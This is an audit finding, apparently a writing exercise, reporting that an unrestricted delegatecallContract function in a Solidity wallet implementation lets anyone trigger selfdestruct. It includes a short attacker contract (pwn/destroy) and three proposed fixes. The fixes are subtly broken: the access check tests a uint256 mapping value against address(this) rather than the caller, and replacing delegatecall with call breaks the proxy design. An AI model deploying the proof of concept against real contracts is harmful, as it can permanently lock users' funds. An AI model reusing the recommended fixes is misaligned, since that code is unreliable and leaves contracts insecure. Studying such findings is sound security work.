## Anyone can execute selfdestruct via delegatecall
**Severity**: High risk

Context: [`Implementation.sol#L17-L21`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L21)

Anyone can execute the delegatecallContract function in Implementation contract. This means that evil user can attack for Implementation contract by `selfdestruct`.

If Implementation contract was broken, the users using Proxy cannot moving their ETH and ERC20 tokens *permanently*.

- The attacker will attack in the following ways
1. The attacker deploy a evil contract. It has `selfdestruction` function
2. Evil execute their own `selfdestruct` function via delegatecallContract function of Implementation.sol

This code is below.

address payable eve; 

function pwn(address imp) external {
  bytes memory data = abi.encodeWithSignature("destroy()");
  Imp(imp).delegatecallContract(address(this), data);
}

function destroy() external {
  selfdestruct(eve);
}
/* Code Explain
eve:  evil address(need to be payable to send ETH by selfdestruct)
pwn(): The function this code executing 2 above.
destroy(): The function to destroy Implementation contract by selfdestruct
*/

**Recommendation**:

■ Solution.1: **Using Call not Delegatecall**
① Don't using the `delegatecall` and using `call` from Proxy-contract to Implementation-contract.
② Deleting the delegatecallContract function in Impelementation.sol.

This code is below.

① Context: [`Proxy.sol#L34`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Proxy.sol#L34)

// Delete this code
let success := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)
// And this code takes the place of the above code.
let success := call(gas(), _implementation, callvalue(), 0, calldatasize(), 0, 0)

② Context: [`Implementation.sol#L17-#L21`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L21)

// Delete this all code
function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
    (bool success, bytes memory ret) =  a.delegatecall(_calldata);
    require(success);
    return ret;
}

■ Solution.2: **Restricting the Executor not Anyone**
This problem is caused by the fact that anyone can execute a delegatecallContract function.
To prevent this, you should create a list of contracts address that can execute delegatecallContract of the implementation contract.

This code is below.
Context: [`Implementation.sol`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol)

import "@openzeppelin/contracts/ownership/Ownable.sol";
contract Implementation is Ownable {
  mapping(address => uint256) public proxies; //gas saving compared with (address => bool)
  function addProxy(address _proxy) public onlyOwner {
      proxies[_proxy] = 1;
  }

  function deleteProxy(address _proxy) public onlyOwner {
      proxies[_proxy] = 2; //gas saving compared with changing from 1 to 0 // nonZero => nonZero is cheap
  }
  
  function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
    require(proxies[address(this)], "You are not proxies!!!");
    ...
  }
}

■ Solution.3: **Being Library, not a Contract.**
The purpose of Impelementation-contract is using the funds of Proxy.

> To use these funds, users can execute arbitrary calls and arbitrary delegatecalls by using the implementation contract.

Quote: [Documenetaion](https://github.com/spearbit-audits/writing-exercise#wallet-protocol)

This means that it doesn't matter Implemetation is contract or not.　
If this contract is changed to a library, selfdestruct attack can be prevented because selfdestruct can destroy only contract.

This code is below.
Context: [`Implementation.sol`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol)

// You need to change the word from contract to library and delete the two payable modifier.
library Implementation {
  function callContract(address a, bytes calldata _calldata)
    external
    returns (bytes memory)
  {
    (bool success, bytes memory ret) = a.call{ value: msg.value }(_calldata);
    require(success);
    return ret;
  }

  function delegatecallContract(address a, bytes calldata _calldata)
    external
    returns (bytes memory)
  {
    (bool success, bytes memory ret) = a.delegatecall(_calldata);
    require(success);
    return ret;
  }
}

***Thank you for reading 😌***